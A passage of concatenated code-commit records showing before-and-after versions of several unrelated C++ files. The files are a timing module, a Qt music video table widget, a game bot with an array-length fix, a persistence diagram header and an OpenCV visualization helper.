region.\n *\/\n double start;\n} \nghost_timing_region_accu_t;\n\nstatic map<string,ghost_timing_region_accu_t> timings;\n\nvoid ghost_timing_tick(char *tag) \n{\n double start;\n ghost_timing_wc(&start);\n timings[tag].start = start;\n}\n\nvoid ghost_timing_tock(char *tag) \n{\n double end;\n ghost_timing_wc(&end);\n ghost_timing_region_accu_t *ti = &timings[string(tag)];\n ti->times.push_back(end-ti->start);\n}\n\nghost_error_t ghost_timing_region_create(ghost_timing_region_t ** ri, char *tag)\n{\n ghost_timing_region_accu_t ti;\n if (!timings.count(string(tag))) {\n ERROR_LOG(\"The region %s does not exist!\",tag);\n return GHOST_ERR_INVALID_ARG;\n }\n ti = timings[string(tag)];\n\n ghost_error_t ret = GHOST_SUCCESS;\n GHOST_CALL_GOTO(ghost_malloc((void **)ri,sizeof(ghost_timing_region_t)),err,ret);\n (*ri)->nCalls = ti.times.size();\n (*ri)->minTime = *min_element(ti.times.begin(),ti.times.end());\n (*ri)->maxTime = *max_element(ti.times.begin(),ti.times.end());\n (*ri)->avgTime = accumulate(ti.times.begin(),ti.times.end(),0.)\/(*ri)->nCalls;\n\n GHOST_CALL_GOTO(ghost_malloc((void **)(&((*ri)->times)),sizeof(double)*(*ri)->nCalls),err,ret);\n memcpy((*ri)->times,&ti.times[0],(*ri)->nCalls*sizeof(double));\n\n goto out;\n\nerr:\n ERROR_LOG(\"Freeing region info\");\n if (*ri) {\n free((*ri)->times); (*ri)->times = NULL;\n }\n free(*ri); (*ri) = NULL;\nout:\n\n return ret;\n}\n\nvoid ghost_timing_region_destroy(ghost_timing_region_t * ri)\n{\n if (ri) {\n free(ri->times); ri->times = NULL;\n }\n free(ri);\n}\n\n\nghost_error_t ghost_timing_summarystring(char **str)\n{\n stringstream buffer;\n map<string,ghost_timing_region_accu_t>::iterator iter;\n\n \n size_t maxRegionLen = 0;\n size_t maxCallsLen = 0;\n \n stringstream tmp;\n for (iter = timings.begin(); iter != timings.end(); ++iter) {\n tmp << iter->first.length();\n maxRegionLen = max(iter->first.length(),maxRegionLen);\n tmp.str(\"\");\n\n tmp << iter->second.times.size();\n maxCallsLen = max(maxCallsLen,tmp.str().length());\n tmp.str(\"\");\n }\n if (maxCallsLen < 5) {\n maxCallsLen = 5;\n }\n\n buffer << left << setw(maxRegionLen) << \"Region\" << right << \" | \";\n buffer << setw(maxCallsLen+3) << \"Calls | \";\n buffer << \" t_min | \";\n buffer << \" t_max | \";\n buffer << \" t_avg | \";\n buffer << \" t_tot\" << endl;\n buffer << string(maxRegionLen+maxCallsLen+3+4*11,'-') << endl;\n\n buffer.precision(2);\n for (iter = timings.begin(); iter != timings.end(); ++iter) {\n buffer << scientific << left << setw(maxRegionLen) << iter->first << \" | \" << \n right << setw(maxCallsLen) << iter->second.times.size() << \" | \" <<\n *min_element(iter->second.times.begin(),iter->second.times.end()) << \" | \" <<\n *max_element(iter->second.times.begin(),iter->second.times.end()) << \" | \" <<\n accumulate(iter->second.times.begin(),iter->second.times.end(),0.)\/iter->second.times.size() << \" | \" <<\n accumulate(iter->second.times.begin(),iter->second.times.end(),0.) << endl;\n }\n\n\n\n GHOST_CALL_RETURN(ghost_malloc((void **)str,buffer.str().length()+1));\n strcpy(*str,buffer.str().c_str());\n\n return GHOST_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"musicvideotablewidget.h\"\n#include \"musicdatadownloadthread.h\"\n#include \"musicmessagebox.h\"\n\n#include <time.h>\n\nMusicVideoTableWidget::MusicVideoTableWidget(QWidget *parent)\n : MusicQueryTableWidget(parent)\n{\n setColumnCount(8);\n QHeaderView *headerview = horizontalHeader();\n headerview->resizeSection(0,30);\n headerview->resizeSection(1,175);\n headerview->resizeSection(2,151);\n headerview->resizeSection(3,30);\n headerview->resizeSection(4,55);\n headerview->resizeSection(5,24);\n headerview->resizeSection(6,24);\n headerview->resizeSection(7,24);\n setTransparent(255);\n qsrand(time(NULL));\n}\n\nMusicVideoTableWidget::~MusicVideoTableWidget()\n{\n clearAllItems();\n}\n\nvoid MusicVideoTableWidget::startSearchQuery(const QString &text)\n{\n m_downLoadManager->startSearchSong(MVQuery, text);\n}\n\nvoid MusicVideoTableWidget::clearAllItems()\n{\n MusicAbstractTableWidget::clear();\n setColumnCount(8);\n}\n\nQString MusicVideoTableWidget::randToGetStrength() const\n{\n switch(qrand()%5)\n {\n case 0: return QString::fromUtf8(\":\/video\/video_1\");\n case 1: return QString::fromUtf8(\":\/video\/video_2\");\n case 2: return QString::fromUtf8(\":\/video\/video_3\");\n case 3: return QString::fromUtf8(\":\/video\/video_4\");\n case 4: return QString::fromUtf8(\":\/video\/video_5\");\n }\n return QString::fromUtf8(\":\/video\/video_5\");\n}\n\nvoid MusicVideoTableWidget::creatSearchedItems(const QString &songname,\n const QString &artistname,\n const QString &time)\n{\n int count;\n setRowCount(count = m_downLoadManager->getSongIdIndex());\n setStyleSheet(MusicUIObject::MTableWidgetStyle01 + \\\n MusicUIObject::MScrollBarStyle01);\n\n QTableWidgetItem *item = new QTableWidgetItem;\n item->setData(Qt::DisplayRole, false);\n setItem(count - 1, 0, item);\n\n item = new QTableWidgetItem(songname);\n item->setTextColor(QColor(50,50,50));\n item->setTextAlignment(Qt::AlignCenter);\n item->setToolTip(songname);\n setItem(count - 1, 1, item);\n\n item = new QTableWidgetItem(artistname);\n item->setTextColor(QColor(50,50,50));\n item->setTextAlignment(Qt::AlignCenter);\n item->setToolTip(artistname);\n setItem(count - 1, 2, item);\n\n item = new QTableWidgetItem(QIcon( randToGetStrength() ),\"\");\n item->setTextAlignment(Qt::AlignCenter);\n setItem(count - 1, 3, item);\n\n item = new QTableWidgetItem(time);\n item->setTextColor(QColor(50,50,50));\n item->setTextAlignment(Qt::AlignCenter);\n setItem(count - 1, 4, item);\n\n item = new QTableWidgetItem(QIcon(QString::fromUtf8(\":\/share\/showMV\")),\"\");\n item->setTextAlignment(Qt::AlignCenter);\n setItem(count - 1, 5, item);\n\n item = new QTableWidgetItem(QIcon(QString::fromUtf8(\":\/share\/autionplay\")),\"\");\n item->setTextColor(QColor(50,50,50));\n item->setTextAlignment(Qt::AlignCenter);\n setItem(count - 1, 6, item);\n\n item = new QTableWidgetItem(QIcon(QString::fromUtf8(\":\/share\/musicdownload\")),\"\");\n item->setTextColor(QColor(50,50,50));\n item->setTextAlignment(Qt::AlignCenter);\n setItem(count - 1, 7, item);\n}\n\nvoid MusicVideoTableWidget::listCellClicked(int row,int col)\n{\n MusicQueryTableWidget::listCellClicked(row, col);\n switch(col)\n {\n case 5:\n case 6:\n itemDoubleClicked(row, -1);break;\n case 7:\n musicDownloadLocal(row);break;\n default:break;\n }\n}\n\nvoid MusicVideoTableWidget::musicDownloadLocal(int row)\n{\n if(row < 0)\n {\n MusicMessageBox message;\n message.setText(tr(\"Please Select One Item First!\"));\n message.exec();\n return;\n }\n MStringLists musicSongInfo(m_downLoadManager->getMusicSongInfo());\n\n MusicDataDownloadThread* download = new MusicDataDownloadThread(musicSongInfo[row][2], QString(\"%1 - %2.%3\")\n .arg(musicSongInfo[row][0]).arg(musicSongInfo[row][1]).arg(musicSongInfo[row][3]), Download_Video, this);\n download->startToDownload();\n}\n\nvoid MusicVideoTableWidget::itemDoubleClicked(int row, int column)\n{\n if(column <= 0 || row < 0)\n {\n return;\n }\n MStringLists musicSongInfo(m_downLoadManager->getMusicSongInfo());\n emit mvURLChanged(musicSongInfo[row][2]);\n}\n\nvoid MusicVideoTableWidget::contextMenuEvent(QContextMenuEvent *event)\n{\n MusicQueryTableWidget::contextMenuEvent(event);\n QMenu rightClickMenu(this);\n createContextMenu(rightClickMenu);\n\n rightClickMenu.exec(QCursor::pos());\n}\n<commit_msg>fix column index incorrect when insert into -1, now set to 999[015452]<commit_after>#include \"musicvideotablewidget.h\"\n#include \"musicdatadownloadthread.h\"\n#include \"musicmessagebox.h\"\n\n#include <time.h>\n\nMusicVideoTableWidget::MusicVideoTableWidget(QWidget *parent)\n : MusicQueryTableWidget(parent)\n{\n setColumnCount(8);\n QHeaderView *headerview = horizontalHeader();\n headerview->resizeSection(0,30);\n headerview->resizeSection(1,175);\n headerview->resizeSection(2,151);\n headerview->resizeSection(3,30);\n headerview->resizeSection(4,55);\n headerview->resizeSection(5,24);\n headerview->resizeSection(6,24);\n headerview->resizeSection(7,24);\n setTransparent(255);\n qsrand(time(NULL));\n}\n\nMusicVideoTableWidget::~MusicVideoTableWidget()\n{\n clearAllItems();\n}\n\nvoid MusicVideoTableWidget::startSearchQuery(const QString &text)\n{\n m_downLoadManager->startSearchSong(MVQuery, text);\n}\n\nvoid MusicVideoTableWidget::clearAllItems()\n{\n MusicAbstractTableWidget::clear();\n setColumnCount(8);\n}\n\nQString MusicVideoTableWidget::randToGetStrength() const\n{\n switch(qrand()%5)\n {\n case 0: return QString::fromUtf8(\":\/video\/video_1\");\n case 1: return QString::fromUtf8(\":\/video\/video_2\");\n case 2: return QString::fromUtf8(\":\/video\/video_3\");\n case 3: return QString::fromUtf8(\":\/video\/video_4\");\n case 4: return QString::fromUtf8(\":\/video\/video_5\");\n }\n return QString::fromUtf8(\":\/video\/video_5\");\n}\n\nvoid MusicVideoTableWidget::creatSearchedItems(const QString &songname,\n const QString &artistname,\n const QString &time)\n{\n int count;\n setRowCount(count = m_downLoadManager->getSongIdIndex());\n setStyleSheet(MusicUIObject::MTableWidgetStyle01 + \\\n MusicUIObject::MScrollBarStyle01);\n\n QTableWidgetItem *item = new QTableWidgetItem;\n item->setData(Qt::DisplayRole, false);\n setItem(count - 1, 0, item);\n\n item = new QTableWidgetItem(songname);\n item->setTextColor(QColor(50,50,50));\n item->setTextAlignment(Qt::AlignCenter);\n item->setToolTip(songname);\n setItem(count - 1, 1, item);\n\n item = new QTableWidgetItem(artistname);\n item->setTextColor(QColor(50,50,50));\n item->setTextAlignment(Qt::AlignCenter);\n item->setToolTip(artistname);\n setItem(count - 1, 2, item);\n\n item = new QTableWidgetItem(QIcon( randToGetStrength() ),\"\");\n item->setTextAlignment(Qt::AlignCenter);\n setItem(count - 1, 3, item);\n\n item = new QTableWidgetItem(time);\n item->setTextColor(QColor(50,50,50));\n item->setTextAlignment(Qt::AlignCenter);\n setItem(count - 1, 4, item);\n\n item = new QTableWidgetItem(QIcon(QString::fromUtf8(\":\/share\/showMV\")),\"\");\n item->setTextAlignment(Qt::AlignCenter);\n setItem(count - 1, 5, item);\n\n item = new QTableWidgetItem(QIcon(QString::fromUtf8(\":\/share\/autionplay\")),\"\");\n item->setTextColor(QColor(50,50,50));\n item->setTextAlignment(Qt::AlignCenter);\n setItem(count - 1, 6, item);\n\n item = new QTableWidgetItem(QIcon(QString::fromUtf8(\":\/share\/musicdownload\")),\"\");\n item->setTextColor(QColor(50,50,50));\n item->setTextAlignment(Qt::AlignCenter);\n setItem(count - 1, 7, item);\n}\n\nvoid MusicVideoTableWidget::listCellClicked(int row,int col)\n{\n MusicQueryTableWidget::listCellClicked(row, col);\n switch(col)\n {\n case 5:\n case 6:\n itemDoubleClicked(row, 999);break;\n case 7:\n musicDownloadLocal(row);break;\n default:break;\n }\n}\n\nvoid MusicVideoTableWidget::musicDownloadLocal(int row)\n{\n if(row < 0)\n {\n MusicMessageBox message;\n message.setText(tr(\"Please Select One Item First!\"));\n message.exec();\n return;\n }\n MStringLists musicSongInfo(m_downLoadManager->getMusicSongInfo());\n\n MusicDataDownloadThread* download = new MusicDataDownloadThread(musicSongInfo[row][2], QString(\"%1 - %2.%3\")\n .arg(musicSongInfo[row][0]).arg(musicSongInfo[row][1]).arg(musicSongInfo[row][3]), Download_Video, this);\n download->startToDownload();\n}\n\nvoid MusicVideoTableWidget::itemDoubleClicked(int row, int column)\n{\n if(column <= 0 || row < 0)\n {\n return;\n }\n MStringLists musicSongInfo(m_downLoadManager->getMusicSongInfo());\n emit mvURLChanged(musicSongInfo[row][2]);\n}\n\nvoid MusicVideoTableWidget::contextMenuEvent(QContextMenuEvent *event)\n{\n MusicQueryTableWidget::contextMenuEvent(event);\n QMenu rightClickMenu(this);\n createContextMenu(rightClickMenu);\n\n rightClickMenu.exec(QCursor::pos());\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ BotRobot, ATaco\n\/\/ PPCG: http:\/\/codegolf.stackexchange.com\/a\/104910\/11933\n\n\/\/ BotRobot\n\/\/ ONE HUNDRED THOUSAND GENERATIONS TO MAKE THE ULTIMATE LIFEFORM!\n\n#ifndef __BOT_ROBOT_PLAYER_HPP__\n#define __BOT_ROBOT_PLAYER_HPP__\n\n#include \"Player.hpp\"\n\nclass BotRobotPlayer final : public Player\n{\npublic:\n\tBotRobotPlayer(size_t opponent = -1) : Player(opponent) {}\n\npublic:\n\tvirtual Action fight()\n\t{\n\t\tstd::string action = \"\";\n\t\taction += std::to_string(getAmmo());\n\t\taction += \":\";\n\t\taction += std::to_string(getAmmoOpponent());\n\n\t\tint toDo = 3;\n\n\t\tfor (int i = 0; i < sizeof(options); i++) {\n\t\t\tif (options[i].compare(action) == 0) {\n\t\t\t\ttoDo = outputs[i];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tswitch (toDo) {\n\t\tcase 0:\n\t\t\treturn load();\n\t\tcase 1:\n\t\t\treturn bullet();\n\t\tcase 2:\n\t\t\treturn plasma();\n\t\tcase 3:\n\t\t\treturn metal();\n\t\tdefault:\n\t\t\treturn thermal();\n\t\t}\n\t}\n\nprivate:\n\tstd::string options[29] =\n\t{\n\t\t\"0:9\",\n\t\t\"1:12\",\n\t\t\"1:10\",\n\t\t\"0:10\",\n\t\t\"1:11\",\n\t\t\"0:11\",\n\t\t\"0:6\",\n\t\t\"2:2\",\n\t\t\"0:2\",\n\t\t\"2:6\",\n\t\t\"3:6\",\n\t\t\"0:7\",\n\t\t\"1:3\",\n\t\t\"2:3\",\n\t\t\"0:3\",\n\t\t\"2:0\",\n\t\t\"1:0\",\n\t\t\"0:4\",\n\t\t\"1:4\",\n\t\t\"2:4\",\n\t\t\"0:0\",\n\t\t\"3:0\",\n\t\t\"1:1\",\n\t\t\"2:1\",\n\t\t\"2:9\",\n\t\t\"0:5\",\n\t\t\"0:8\",\n\t\t\"3:1\",\n\t\t\"0:1\"\n\t};\n\n\tint outputs[29] =\n\t{\n\t\t0,\n\t\t1,\n\t\t1,\n\t\t4,\n\t\t1,\n\t\t0,\n\t\t0,\n\t\t4,\n\t\t4,\n\t\t0,\n\t\t0,\n\t\t3,\n\t\t0,\n\t\t1,\n\t\t3,\n\t\t0,\n\t\t1,\n\t\t4,\n\t\t0,\n\t\t1,\n\t\t0,\n\t\t1,\n\t\t0,\n\t\t3,\n\t\t4,\n\t\t3,\n\t\t0,\n\t\t1,\n\t\t0\n\t};\n};\n\n#endif \/\/ !__BOT_ROBOT_PLAYER_HPP__<commit_msg>Get correct array length.<commit_after>\/\/ BotRobot, ATaco\n\/\/ PPCG: http:\/\/codegolf.stackexchange.com\/a\/104910\/11933\n\n\/\/ BotRobot\n\/\/ ONE HUNDRED THOUSAND GENERATIONS TO MAKE THE ULTIMATE LIFEFORM!\n\n#ifndef __BOT_ROBOT_PLAYER_HPP__\n#define __BOT_ROBOT_PLAYER_HPP__\n\n#include \"Player.hpp\"\n\nclass BotRobotPlayer final : public Player\n{\npublic:\n\tBotRobotPlayer(size_t opponent = -1) : Player(opponent) {}\n\npublic:\n\tvirtual Action fight()\n\t{\n\t\tstd::string action = \"\";\n\t\taction += std::to_string(getAmmo());\n\t\taction += \":\";\n\t\taction += std::to_string(getAmmoOpponent());\n\n\t\tint toDo = 3;\n\n\t\tfor (int i = 0; i < sizeof(options)\/sizeof(std::string); i++) {\n\t\t\tif (options[i].compare(action) == 0) {\n\t\t\t\ttoDo = outputs[i];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tswitch (toDo) {\n\t\tcase 0:\n\t\t\treturn load();\n\t\tcase 1:\n\t\t\treturn bullet();\n\t\tcase 2:\n\t\t\treturn plasma();\n\t\tcase 3:\n\t\t\treturn metal();\n\t\tdefault:\n\t\t\treturn thermal();\n\t\t}\n\t}\n\nprivate:\n\tstd::string options[29] =\n\t{\n\t\t\"0:9\",\n\t\t\"1:12\",\n\t\t\"1:10\",\n\t\t\"0:10\",\n\t\t\"1:11\",\n\t\t\"0:11\",\n\t\t\"0:6\",\n\t\t\"2:2\",\n\t\t\"0:2\",\n\t\t\"2:6\",\n\t\t\"3:6\",\n\t\t\"0:7\",\n\t\t\"1:3\",\n\t\t\"2:3\",\n\t\t\"0:3\",\n\t\t\"2:0\",\n\t\t\"1:0\",\n\t\t\"0:4\",\n\t\t\"1:4\",\n\t\t\"2:4\",\n\t\t\"0:0\",\n\t\t\"3:0\",\n\t\t\"1:1\",\n\t\t\"2:1\",\n\t\t\"2:9\",\n\t\t\"0:5\",\n\t\t\"0:8\",\n\t\t\"3:1\",\n\t\t\"0:1\"\n\t};\n\n\tint outputs[29] =\n\t{\n\t\t0,\n\t\t1,\n\t\t1,\n\t\t4,\n\t\t1,\n\t\t0,\n\t\t0,\n\t\t4,\n\t\t4,\n\t\t0,\n\t\t0,\n\t\t3,\n\t\t0,\n\t\t1,\n\t\t3,\n\t\t0,\n\t\t1,\n\t\t4,\n\t\t0,\n\t\t1,\n\t\t0,\n\t\t1,\n\t\t0,\n\t\t3,\n\t\t4,\n\t\t3,\n\t\t0,\n\t\t1,\n\t\t0\n\t};\n};\n\n#endif \/\/ !__BOT_ROBOT_PLAYER_HPP__<|endoftext|>"} {"text":"<commit_before>#ifndef ALEPH_PERSISTENCE_DIAGRAM_HH__\n#define ALEPH_PERSISTENCE_DIAGRAM_HH__\n\n#include <algorithm>\n#include <iosfwd>\n#include <limits>\n#include <utility>\n#include <vector>\n\nnamespace aleph\n{\n\ntemplate <class T> class PersistenceDiagram\n{\npublic:\n\n \/\/ Exporting the data type of the underlying persistence diagrams\n \/\/ makes it easier for client code to specify the desired type in\n \/\/ advanced. Else, I would require `decltype` or related concepts\n \/\/ that make the code harder to read.\n using DataType = T;\n\n class Point\n {\n public:\n\n explicit Point( DataType x )\n : _x( x )\n , _y( std::numeric_limits<DataType>::max() )\n {\n if( std::numeric_limits<DataType>::has_infinity )\n _y = std::numeric_limits<DataType>::infinity();\n }\n\n Point( DataType x, DataType y )\n : _x( x )\n , _y( y )\n {\n }\n\n DataType x() const { return _x; }\n DataType y() const { return _y; }\n\n DataType persistence() const\n {\n return _y - _x;\n }\n\n bool operator==( const Point& other ) const\n {\n return _x == other._x && _y == other._y;\n }\n\n bool isUnpaired() const\n {\n return ( std::numeric_limits<DataType>::has_infinity && _y == std::numeric_limits<DataType>::infinity() )\n || ( !std::numeric_limits<DataType>::has_infinity && _y == std::numeric_limits<DataType>::max() );\n }\n\n private:\n DataType _x;\n DataType _y;\n };\n\n \/\/ Typedefs & aliases ------------------------------------------------\n\n using ValueType = Point;\n using ContainerType = std::vector<ValueType>;\n\n using ConstIterator = typename ContainerType::const_iterator;\n using Iterator = typename ContainerType::iterator;\n\n using value_type = ValueType;\n\n \/\/ Iterators ---------------------------------------------------------\n\n ConstIterator begin() const { return _points.begin(); }\n Iterator begin() { return _points.begin(); }\n\n ConstIterator end() const { return _points.end(); }\n Iterator end() { return _points.end(); }\n\n \/\/ Modification ------------------------------------------------------\n\n void add( DataType x )\n {\n _points.push_back( Point( x ) );\n }\n\n void add( DataType x, DataType y )\n {\n _points.push_back( Point( x, y ) );\n }\n\n Iterator erase( Iterator position )\n {\n return _points.erase( position );\n }\n\n Iterator erase( Iterator begin, Iterator end )\n {\n return _points.erase( begin, end );\n }\n\n \/** Removes all points that appear on the diagonal of a persistence diagram *\/\n void removeDiagonal() noexcept\n {\n _points.erase(\n std::remove_if( _points.begin(), _points.end(),\n [] ( const Point& p )\n {\n return p.x() == p.y();\n } ),\n _points.end()\n );\n }\n\n \/** Removes all unpaired points, i.e. points with infinite persistence *\/\n void removeUnpaired() noexcept\n {\n _points.erase(\n std::remove_if( _points.begin(), _points.end(),\n [] ( const Point& p )\n {\n return p.isUnpaired();\n } ),\n _points.end()\n );\n }\n\n \/\/ Attributes --------------------------------------------------------\n\n void setDimension( std::size_t dimension )\n {\n _dimension = dimension;\n }\n\n std::size_t dimension() const\n {\n return _dimension;\n }\n\n \/\/ Comparison operators ----------------------------------------------\n\n bool operator==( const PersistenceDiagram<DataType>& other ) const\n {\n return _points == other._points;\n }\n\n bool operator!=( const PersistenceDiagram<DataType>& other ) const\n {\n return !( this->operator==( other ) );\n }\n\n \/\/ Queries -----------------------------------------------------------\n\n \/** @returns Betti number of the persistence diagram, i.e. the number of unpaired points *\/\n std::size_t betti() const\n {\n auto numUnpairedPoints\n = std::count_if( _points.begin(), _points.end(),\n [] ( const Point& p )\n {\n return p.isUnpaired();\n } );\n\n return static_cast<std::size_t>( numUnpairedPoints );\n }\n\n std::size_t size() const\n {\n return _points.size();\n }\n\n bool empty() const\n {\n return _points.empty();\n }\n\nprivate:\n\n \/** Dimension of the persistence pairs stored in the diagram *\/\n std::size_t _dimension = 0;\n\n \/** Container of persistence pairs *\/\n ContainerType _points;\n};\n\ntemplate <class DataType> std::ostream& operator<<( std::ostream& o, const PersistenceDiagram<DataType>& D )\n{\n for( auto&& p : D )\n o << p.x() << \"\\t\" << p.y() << \"\\n\";\n\n return o;\n}\n\n}\n\n#endif\n<commit_msg>Extended interface of subordinate `Point` class<commit_after>#ifndef ALEPH_PERSISTENCE_DIAGRAM_HH__\n#define ALEPH_PERSISTENCE_DIAGRAM_HH__\n\n#include <algorithm>\n#include <iosfwd>\n#include <limits>\n#include <utility>\n#include <vector>\n\nnamespace aleph\n{\n\ntemplate <class T> class PersistenceDiagram\n{\npublic:\n\n \/\/ Exporting the data type of the underlying persistence diagrams\n \/\/ makes it easier for client code to specify the desired type in\n \/\/ advanced. Else, I would require `decltype` or related concepts\n \/\/ that make the code harder to read.\n using DataType = T;\n\n class Point\n {\n public:\n\n explicit Point( DataType x )\n : _x( x )\n , _y( std::numeric_limits<DataType>::max() )\n {\n if( std::numeric_limits<DataType>::has_infinity )\n _y = std::numeric_limits<DataType>::infinity();\n }\n\n Point( DataType x, DataType y )\n : _x( x )\n , _y( y )\n {\n }\n\n DataType x() const noexcept { return _x; }\n DataType y() const noexcept { return _y; }\n\n DataType persistence() const noexcept\n {\n return _y - _x;\n }\n\n bool operator==( const Point& other ) const noexcept\n {\n return _x == other._x && _y == other._y;\n }\n\n bool operator!=( const Point& other ) const noexcept\n {\n return !this->operator==( other );\n }\n\n bool isUnpaired() const noexcept\n {\n return ( std::numeric_limits<DataType>::has_infinity && _y == std::numeric_limits<DataType>::infinity() )\n || ( !std::numeric_limits<DataType>::has_infinity && _y == std::numeric_limits<DataType>::max() );\n }\n\n private:\n DataType _x;\n DataType _y;\n };\n\n \/\/ Typedefs & aliases ------------------------------------------------\n\n using ValueType = Point;\n using ContainerType = std::vector<ValueType>;\n\n using ConstIterator = typename ContainerType::const_iterator;\n using Iterator = typename ContainerType::iterator;\n\n using value_type = ValueType;\n\n \/\/ Iterators ---------------------------------------------------------\n\n ConstIterator begin() const { return _points.begin(); }\n Iterator begin() { return _points.begin(); }\n\n ConstIterator end() const { return _points.end(); }\n Iterator end() { return _points.end(); }\n\n \/\/ Modification ------------------------------------------------------\n\n void add( DataType x )\n {\n _points.push_back( Point( x ) );\n }\n\n void add( DataType x, DataType y )\n {\n _points.push_back( Point( x, y ) );\n }\n\n Iterator erase( Iterator position )\n {\n return _points.erase( position );\n }\n\n Iterator erase( Iterator begin, Iterator end )\n {\n return _points.erase( begin, end );\n }\n\n \/** Removes all points that appear on the diagonal of a persistence diagram *\/\n void removeDiagonal() noexcept\n {\n _points.erase(\n std::remove_if( _points.begin(), _points.end(),\n [] ( const Point& p )\n {\n return p.x() == p.y();\n } ),\n _points.end()\n );\n }\n\n \/** Removes all unpaired points, i.e. points with infinite persistence *\/\n void removeUnpaired() noexcept\n {\n _points.erase(\n std::remove_if( _points.begin(), _points.end(),\n [] ( const Point& p )\n {\n return p.isUnpaired();\n } ),\n _points.end()\n );\n }\n\n \/\/ Attributes --------------------------------------------------------\n\n void setDimension( std::size_t dimension )\n {\n _dimension = dimension;\n }\n\n std::size_t dimension() const\n {\n return _dimension;\n }\n\n \/\/ Comparison operators ----------------------------------------------\n\n bool operator==( const PersistenceDiagram<DataType>& other ) const\n {\n return _points == other._points;\n }\n\n bool operator!=( const PersistenceDiagram<DataType>& other ) const\n {\n return !( this->operator==( other ) );\n }\n\n \/\/ Queries -----------------------------------------------------------\n\n \/** @returns Betti number of the persistence diagram, i.e. the number of unpaired points *\/\n std::size_t betti() const\n {\n auto numUnpairedPoints\n = std::count_if( _points.begin(), _points.end(),\n [] ( const Point& p )\n {\n return p.isUnpaired();\n } );\n\n return static_cast<std::size_t>( numUnpairedPoints );\n }\n\n std::size_t size() const\n {\n return _points.size();\n }\n\n bool empty() const\n {\n return _points.empty();\n }\n\nprivate:\n\n \/** Dimension of the persistence pairs stored in the diagram *\/\n std::size_t _dimension = 0;\n\n \/** Container of persistence pairs *\/\n ContainerType _points;\n};\n\ntemplate <class DataType> std::ostream& operator<<( std::ostream& o, const PersistenceDiagram<DataType>& D )\n{\n for( auto&& p : D )\n o << p.x() << \"\\t\" << p.y() << \"\\n\";\n\n return o;\n}\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"visualization.h\"\n#include <opencv2\/highgui.hpp>\nusing namespace std;\n\nnamespace mo {\n\n\/\/-----------------------------------------------------------------\nstd::ostream& operator<<(std::ostream& os, const Color& col){\n return os << \"{r,g,b}={\" << static_cast<unsigned>(col.red) << ',' <<\n static_cast<unsigned>(col.green) << ',' <<\n static_cast<unsigned>(col.blue) << \"}\";\n}\n\n\n\/\/-----------------------------------------------------------------\nvoid show(const std::string& winname, const Image& img, const int waitms){\n cv::imshow(winname, img);\n cv::waitKey(waitms);\n}\n\n\n\/\/-----------------------------------------------------------------\nvoid line(const Point& pt_sta, const Point& pt_end, Image& img, const Color& color){\n cv::line(img, pt_sta, pt_end, color.pixval());\n}\n\n\n\/\/-----------------------------------------------------------------\nvoid arrow(const Point& pt_sta, const Point& pt_end, Image& img, const Color& color){\n cv::arrowedLine(img, pt_sta, pt_end, color.pixval());\n}\n\n\/\/-----------------------------------------------------------------\nvoid point(const Point& pt, Image& img, const Color& color, const int radius){\n cv::circle(img, pt, radius, color.pixval(), -1); \/\/-1 means filled color.\n}\n\n\/\/-----------------------------------------------------------------\nvoid text(const std::string& text, Image& img, const Point& org, const double& scale, const Color& color){\n cv::putText(img, text, org, cv::FONT_HERSHEY_SIMPLEX, scale, color.pixval());\n}\n\n\/\/-----------------------------------------------------------------\nvoid colorbar(Image& img, const ColormapTypes colormaptype){\n for(int u=0; u<img.rows; ++u){\n unsigned char* Mu = img.ptr(u);\n for(int v=0; v<img.cols*3; v+=3){\n for(int c=0; c<3; ++c){ \/\/color channel\n Mu[v+c] = u*255\/img.rows;\n }\n }\n }\n\n cv::applyColorMap(img, img, cv::COLORMAP_HOT);\n}\n\n\n} \/\/namespace mo\n<commit_msg>change colorbar<commit_after>#include \"visualization.h\"\n#include <opencv2\/highgui.hpp>\nusing namespace std;\n\nnamespace mo {\n\n\/\/-----------------------------------------------------------------\nstd::ostream& operator<<(std::ostream& os, const Color& col){\n return os << \"{r,g,b}={\" << static_cast<unsigned>(col.red) << ',' <<\n static_cast<unsigned>(col.green) << ',' <<\n static_cast<unsigned>(col.blue) << \"}\";\n}\n\n\n\/\/-----------------------------------------------------------------\nvoid show(const std::string& winname, const Image& img, const int waitms){\n cv::imshow(winname, img);\n cv::waitKey(waitms);\n}\n\n\n\/\/-----------------------------------------------------------------\nvoid line(const Point& pt_sta, const Point& pt_end, Image& img, const Color& color){\n cv::line(img, pt_sta, pt_end, color.pixval());\n}\n\n\n\/\/-----------------------------------------------------------------\nvoid arrow(const Point& pt_sta, const Point& pt_end, Image& img, const Color& color){\n cv::arrowedLine(img, pt_sta, pt_end, color.pixval());\n}\n\n\/\/-----------------------------------------------------------------\nvoid point(const Point& pt, Image& img, const Color& color, const int radius){\n cv::circle(img, pt, radius, color.pixval(), -1); \/\/-1 means filled color.\n}\n\n\/\/-----------------------------------------------------------------\nvoid text(const std::string& text, Image& img, const Point& org, const double& scale, const Color& color){\n cv::putText(img, text, org, cv::FONT_HERSHEY_SIMPLEX, scale, color.pixval());\n}\n\n\/\/-----------------------------------------------------------------\nvoid colorbar(Image& img, const ColormapTypes colormaptype){\n for(int u=0; u<img.rows; ++u){\n unsigned char* Mu = img.ptr(u);\n for(int v=0; v<img.cols*3; v+=3){\n for(int c=0; c<3; ++c){ \/\/color channel\n Mu[v+c] = 255 - u*255\/img.rows;\n }\n }\n }\n\n cv::applyColorMap(img, img, cv::COLORMAP_HOT);\n}\n\n\n} \/\/namespace mo\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed\n * with this work for additional information regarding copyright\n * ownership. The ASF licenses this file to you under the Apache\n * License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of\n * the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#ifndef 